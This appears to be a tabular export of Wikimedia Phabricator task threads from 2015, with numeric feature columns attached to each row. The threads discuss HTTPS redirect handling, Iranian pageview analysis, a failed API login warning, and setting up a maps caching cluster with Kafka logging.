I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't.",,,1436837440,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0.5,0.5,0.0,0.5,1.0,6.5,2.0,0.0,0.0,0.5,1.0,1.5,0.0,0.5,0.5,1.5,0.0,5.5,14.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.5,0.5,1.0,1.0,0.5,0.0,0.0,2.5,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.5,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,6.0,4.0,6.0,2.0,1.5,7.0,0.0,0.0,0.0,0.0,5.0,0.0,1.5,0.0,3.0,14.0,3.0,1.0,0.0,0.0,3.0,0.0,1.5,1.0,0.0,1.0,0.0,0.5,1.0,3.767811542390194,0.7513406537282942,"I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?

Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?

I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't."
105512,Analyse requests from Iran prior to and after the HTTPS switchover,"Wes has asked me to work on some basic data analysis around the information coming out of our web request logs around Iran. Specifically, we want to understand why there was a dramatic drop in pageviews after the HTTPS switchover, and whether this is replicated in search events.

https://github.com/wikimedia-research/ayatollahsong",Medium,50.0,1436544613,1438361370.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-xonvqupyudkr4235gfgl,task_description,resolved,True,c3,3,False,False,True,1,True,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,20.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,4.0,9.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,20.0,7.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.388888888888889,0.8888888888888888,"Wes has asked me to work on some basic data analysis around the information coming out of our web request logs around Iran. Specifically, we want to understand why there was a dramatic drop in pageviews after the HTTPS switchover, and whether this is replicated in search events.

URL"
105370,API call failed to login with token,"Spotted in production:
```
      1 Warning: API call failed to login with token: status=There was a problem during the HTTP request: 503 Service Unavailable, query={""action"":""login"",""lgname"":""zerowiki"",""lgpassword"":""***"",""lgtoken"":
""e0cd4e78e51dbac91bf9dc19b8d07315""} [Called from JsonConfig\JCUtils::warn in /srv/mediawiki/php-1.26wmf12/extensions/JsonConfig/includes/JCUtils.php at line 50] in /srv/mediawiki/php-1.26wmf12/includes/de
bug/MWDebug.php on line 300
```",Medium,50.0,1436463123,1484683974.0,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ufdvscz22sbqqqceeb43,task_description,invalid,True,c3,3,True,True,False,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.7,"Spotted in production:
``CODE``"
491536,API call failed to login with token,Should the API even log a warning here then?,,,1436928308,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ufdvscz22sbqqqceeb43,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Should the API even log a warning here then?
490037,API call failed to login with token,"Does not appear to be an API issue, just something using the API and running into non-MediaWiki-generated server errors.",,,1436536377,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-ufdvscz22sbqqqceeb43,task_subcomment,,True,c3,3,True,,,1,True,0.0,4.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,16.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.08,0.92,"Does not appear to be an API issue, just something using the API and running into non-MediaWiki-generated server errors."
105076,Set up standard HTTPS Termination -> 2layer caching for maps service,"Basically, we need:
[x] maps cache cluster in eqiad
  - standard 2layer setup like ""upload"", with fresh/minimal VCL
  - can reuse the recently decommed cp104[34] machines for now
  - backend is kartotherian.svc.codfw.wmnet:4000 (LVS service)
[x] maps.wikimedia.org LVS/DNS setup into new IP for maps cache cluster
",Medium,50.0,1436301293,1439601070.0,PHID-USER-esrrkc2rlizdlae443wg,False,PHID-USER-esrrkc2rlizdlae443wg,False,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_description,resolved,True,c3,3,True,True,True,0,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,9.0,16.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.104477611940299,0.7164179104477612,"Basically, we need:
[x] maps cache cluster in eqiad
  - standard 2layer setup like ""upload"", with fresh/minimal VCL
  - can reuse the recently decommed cp104[34] machines for now
  - backend is kartotherian.svc.codfw.wmnet:4000 (LVS service)
[x] maps.wikimedia.org LVS/DNS setup into new IP for maps cache cluster
"
508959,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230535 abandoned by Ottomata:
Make camus import webrequest_maps from new maps varnish cluster

Reason:
This was done by joseph in another commit.

[[https://gerrit.wikimedia.org/r/230535]]",,,1439657954,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.257142857142857,0.8285714285714286,"Change 230535 abandoned by Ottomata:
Make camus import webrequest_maps from new maps varnish cluster

Reason:
This was done by joseph in another commit.

[[GERRIT_URL]]"
508809,Set up standard HTTPS Termination -> 2layer caching for maps service,"per IRC with @bblack, closing this task as complete.
> <bblack>  there are outstanding spinoff issues like purging, or like actually deploying a production-ready variant of this better
So we will need more tasks to resolve them, but separate from this one.",,,1439601070,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.896551724137931,0.8620689655172413,"per IRC withSCREEN_NAME, closing this task as complete.
QUOTE
So we will need more tasks to resolve them, but separate from this one."
508793,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 231726 merged by BBlack:
maps.wm.o: turn back on, but only for beta self referer

[[https://gerrit.wikimedia.org/r/231726]]",,,1439599095,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 231726 merged by BBlack:
maps.wm.o: turn back on, but only for beta self referer

[[GERRIT_URL]]"
508788,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 231726 had a related patch set uploaded (by BBlack):
maps.wm.o: turn back on, but only for beta self referer

[[https://gerrit.wikimedia.org/r/231726]]
",,,1439598513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.5625,0.90625,"Change 231726 had a related patch set uploaded (by BBlack):
maps.wm.o: turn back on, but only for beta self referer

[[GERRIT_URL]]
"
505592,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230539 merged by Ottomata:
Add webrequest_maps kafka topic output for cache_maps

[[https://gerrit.wikimedia.org/r/230539]]",,,1439247652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.65,0.9,"Change 230539 merged by Ottomata:
Add webrequest_maps kafka topic output for cache_maps

[[GERRIT_URL]]"
505184,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230547 merged by BBlack:
remove icinga monitoring for maps.wm.o for now (not production)

[[https://gerrit.wikimedia.org/r/230547]]",,,1439216462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.125,0.875,"Change 230547 merged by BBlack:
remove icinga monitoring for maps.wm.o for now (not production)

[[GERRIT_URL]]"
505183,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230546 merged by BBlack:
fix description for maps LVS

[[https://gerrit.wikimedia.org/r/230546]]",,,1439216445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.7777777777777777,0.8888888888888888,"Change 230546 merged by BBlack:
fix description for maps LVS

[[GERRIT_URL]]"
505182,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230547 had a related patch set uploaded (by BBlack):
remove icinga monitoring for maps.wm.o for now (not production)

[[https://gerrit.wikimedia.org/r/230547]]
",,,1439216360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.967741935483871,0.8387096774193549,"Change 230547 had a related patch set uploaded (by BBlack):
remove icinga monitoring for maps.wm.o for now (not production)

[[GERRIT_URL]]
"
505181,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230546 had a related patch set uploaded (by BBlack):
fix description for maps LVS

[[https://gerrit.wikimedia.org/r/230546]]
",,,1439216360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.68,0.88,"Change 230546 had a related patch set uploaded (by BBlack):
fix description for maps LVS

[[GERRIT_URL]]
"
505152,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230539 had a related patch set uploaded (by BBlack):
Add webrequest_maps kafka topic output for cache_maps

[[https://gerrit.wikimedia.org/r/230539]]
",,,1439214409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.2592592592592595,0.8888888888888888,"Change 230539 had a related patch set uploaded (by BBlack):
Add webrequest_maps kafka topic output for cache_maps

[[GERRIT_URL]]
"
505147,Set up standard HTTPS Termination -> 2layer caching for maps service,"Yup.

I just created the webrequest_maps kafka topic:

```
kafka topic --create --topic webrequest_maps --partitions 12 --replication-factor 3
```

And we'll also need:
https://gerrit.wikimedia.org/r/#/c/230535/

As long as the new varnish maps cluster has varnishkafka configured in the same way as elsewhere (with `topic => 'webrequest_maps'`), then this should just work.

@bblack, just a note for this in the future.  We have recently started running Kafka with `auto.create.topics.enable` set, which means if anything starts producing to a Kafka topic that doesn't exist, that topic will be created.  Unfortunately, we cannot delete topics in Kafka.  It doesn't really hurt to have unused topics in Kafka, but it is just ugly and I have to look at them.  I just wanted you to know in case you fire up varnishkafka instances in places with a new topic name set.

",,,1439213302,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.5,0.0,0.5,2.0,5.0,1.0,0.0,0.0,0.5,3.5,2.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.5,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,5.5,1.5,2.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,9.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,2.0,1.5,7.5,0.5,2.0,3.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,7.5,10.0,3.0,0.0,0.5,0.0,7.5,0.0,1.0,1.5,1.0,0.5,0.0,0.0,0.5,4.028846153846154,0.7884615384615385,"Yup.

I just created the webrequest_maps kafka topic:

``CODE`CODEtopic => 'webrequest_maps'CODEauto.create.topics.enable` set, which means if anything starts producing to a Kafka topic that doesn't exist, that topic will be created.  Unfortunately, we cannot delete topics in Kafka.  It doesn't really hurt to have unused topics in Kafka, but it is just ugly and I have to look at them.  I just wanted you to know in case you fire up varnishkafka instances in places with a new topic name set.

"
505146,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230535 had a related patch set uploaded (by Ottomata):
Make camus import webrequest_maps from new maps varnish cluster

[[https://gerrit.wikimedia.org/r/230535]]
",,,1439213065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.310344827586207,0.896551724137931,"Change 230535 had a related patch set uploaded (by Ottomata):
Make camus import webrequest_maps from new maps varnish cluster

[[GERRIT_URL]]
"
504700,Set up standard HTTPS Termination -> 2layer caching for maps service,"No idea, I'm going to ping @ottomata Monday and talk it out with him first and then see what we need to do.",,,1439050707,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,16.0,16.0,8.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,3.48,0.92,"No idea, I'm going to pingSCREEN_NAME Monday and talk it out with him first and then see what we need to do."
504699,Set up standard HTTPS Termination -> 2layer caching for maps service,"Gotcha; awesome! Long as the pipes get hooked up I'm all happy :).

(We need a new task for that, or..?)",,,1439050649,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,3.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.7419354838709675,1.0,"Gotcha; awesome! Long as the pipes get hooked up I'm all happy :).

(We need a new task for that, or..?)"
504691,Set up standard HTTPS Termination -> 2layer caching for maps service,">>! In T105076#1521473, @Ironholds wrote:
> Not done; to repeat my questions above:
> 
> 1.  Is this going to be integrated with the existing kafka pipelines for logging?
> 2.    If so, what source cluster will it be under? web, misc, a new ""maps"" one..?

It will be a new ""maps"" one, and yes there's probably still work to do there on my side and otto's to hook up the ends of the pipes.  But it's using our same basic puppetization infrastructure as e.g. upload, text, etc.",,,1439046608,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,6.0,10.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,3.3174603174603177,0.7301587301587301,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It will be a new ""maps"" one, and yes there's probably still work to do there on my side and otto's to hook up the ends of the pipes.  But it's using our same basic puppetization infrastructure as e.g. upload, text, etc."
504679,Set up standard HTTPS Termination -> 2layer caching for maps service,"Not done; to repeat my questions above:

1.  Is this going to be integrated with the existing kafka pipelines for logging?
2.    If so, what source cluster will it be under? web, misc, a new ""maps"" one..?
",,,1439043831,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,13.0,2.0,5.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,4.0,3.109090909090909,0.8363636363636363,"Not done; to repeat my questions above:

1.  Is this going to be integrated with the existing kafka pipelines for logging?
